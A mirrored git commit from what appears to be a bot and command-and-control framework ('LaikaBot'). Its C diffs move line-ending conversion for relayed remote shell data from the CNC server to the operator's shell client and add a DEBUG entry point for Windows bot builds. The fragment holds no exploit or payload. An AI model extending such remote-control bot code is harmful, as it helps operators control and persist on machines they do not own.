mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-21 20:40:05 +00:00
Shell/CNC: Moved line endings conversion from cnc to shell
- Also fixed DEBUG output for windows LaikaBot builds
This commit is contained in:
parent
fed78402a2
commit
b00ac16cb3
@ -9,7 +9,11 @@
|
|||||||
#include "persist.h"
|
#include "persist.h"
|
||||||
|
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
|
# ifndef DEBUG
|
||||||
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) {
|
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) {
|
||||||
|
# else
|
||||||
|
int main() {
|
||||||
|
# endif
|
||||||
#else
|
#else
|
||||||
int main() {
|
int main() {
|
||||||
#endif
|
#endif
|
||||||
|
@ -106,13 +106,6 @@ void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT
|
|||||||
laikaC_closeShell(shell);
|
laikaC_closeShell(shell);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* improves readability */
|
|
||||||
#define SENDSHELLDATA(peer, data, size, id) \
|
|
||||||
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); \
|
|
||||||
laikaS_writeInt(&peer->sock, id, sizeof(uint32_t)); \
|
|
||||||
laikaS_write(&peer->sock, data, size); \
|
|
||||||
laikaS_endVarPacket(peer);
|
|
||||||
|
|
||||||
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
|
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
|
||||||
uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH];
|
uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH];
|
||||||
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
|
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
|
||||||
@ -136,51 +129,9 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_
|
|||||||
/* read data */
|
/* read data */
|
||||||
laikaS_read(&authPeer->sock, data, sz);
|
laikaS_read(&authPeer->sock, data, sz);
|
||||||
|
|
||||||
/* forward data to peer */
|
/* forward to peer */
|
||||||
if (authPeer->osType == peer->osType) {
|
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
||||||
if (sz + sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH) {
|
laikaS_writeInt(&peer->sock, &shell->botShellID, sizeof(uint32_t));
|
||||||
/* we need to split the buffer since the packet for c2c->bot includes an id (since a bot can host multiple shells,
|
laikaS_write(&peer->sock, data, sz);
|
||||||
while the auth/shell client only keeps track of 1)
|
laikaS_endVarPacket(peer);
|
||||||
*/
|
|
||||||
|
|
||||||
/* first part */
|
|
||||||
SENDSHELLDATA(peer, data, sz-sizeof(uint32_t), &shell->botShellID);
|
|
||||||
|
|
||||||
/* second part */
|
|
||||||
SENDSHELLDATA(peer, data + (sz-sizeof(uint32_t)), sizeof(uint32_t), &shell->botShellID);
|
|
||||||
} else {
|
|
||||||
SENDSHELLDATA(peer, data, sz, &shell->botShellID);
|
|
||||||
}
|
|
||||||
} else if (authPeer->osType == OS_LIN && peer->osType == OS_WIN) { /* convert data if its linux -> windows */
|
|
||||||
uint8_t *buf = laikaM_malloc(sz);
|
|
||||||
int i, count = 0, cap = sz;
|
|
||||||
|
|
||||||
/* convert line endings */
|
|
||||||
for (i = 0; i < sz; i++) {
|
|
||||||
laikaM_growarray(uint8_t, buf, 2, count, cap);
|
|
||||||
|
|
||||||
switch (data[i]) {
|
|
||||||
case '\n':
|
|
||||||
buf[count++] = '\r';
|
|
||||||
buf[count++] = '\n';
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
buf[count++] = data[i];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* send buffer (99% of the time this isn't necessary, but the 1% can make
|
|
||||||
buffers > LAIKA_SHELL_DATA_MAX_LENGTH. so we send it in chunks) */
|
|
||||||
i = count;
|
|
||||||
while (i+sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH) {
|
|
||||||
SENDSHELLDATA(peer, buf + (count - i), LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &shell->botShellID);
|
|
||||||
i -= LAIKA_SHELL_DATA_MAX_LENGTH;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* send the leftovers */
|
|
||||||
SENDSHELLDATA(peer, buf + (count - i), i, &shell->botShellID);
|
|
||||||
laikaM_free(buf);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
#undef SENDSHELLDATA
|
|
@ -388,13 +388,30 @@ void shellC_closeShell(tShell_client *client) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz) {
|
void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz) {
|
||||||
uint32_t id = 0; /* we will *ALWAYS* only have one shell open */
|
uint32_t i, id = 0; /* we will *ALWAYS* only have one shell open */
|
||||||
|
struct sLaika_socket *sock = &client->peer->sock;
|
||||||
/* check if we have a shell open */
|
/* check if we have a shell open */
|
||||||
if (!shellC_isShellOpen(client))
|
if (!shellC_isShellOpen(client))
|
||||||
return;
|
return;
|
||||||
|
|
||||||
laikaS_startVarPacket(client->peer, LAIKAPKT_SHELL_DATA);
|
laikaS_startVarPacket(client->peer, LAIKAPKT_SHELL_DATA);
|
||||||
laikaS_writeInt(&client->peer->sock, &id, sizeof(uint32_t));
|
laikaS_writeInt(sock, &id, sizeof(uint32_t));
|
||||||
laikaS_write(&client->peer->sock, data, sz);
|
switch (client->openShell->osType) {
|
||||||
|
case LAIKA_OSTYPE: /* if we're the same as the target OS, line endings don't need to be converted! */
|
||||||
|
laikaS_write(sock, data, sz);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
/* line endings have to be converted (ALWAYS LINUX->WIN for now) */
|
||||||
|
for (i = 0; i < sz; i++) {
|
||||||
|
if (data[i] == '\n') {
|
||||||
|
/* convert to windows line endings */
|
||||||
|
laikaS_writeByte(sock, '\r');
|
||||||
|
laikaS_writeByte(sock, '\n');
|
||||||
|
} else {
|
||||||
|
laikaS_writeByte(sock, data[i]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
laikaS_endVarPacket(client->peer);
|
laikaS_endVarPacket(client->peer);
|
||||||
}
|
}
|
||||||
|
Loading…
Reference in New Issue
Block a user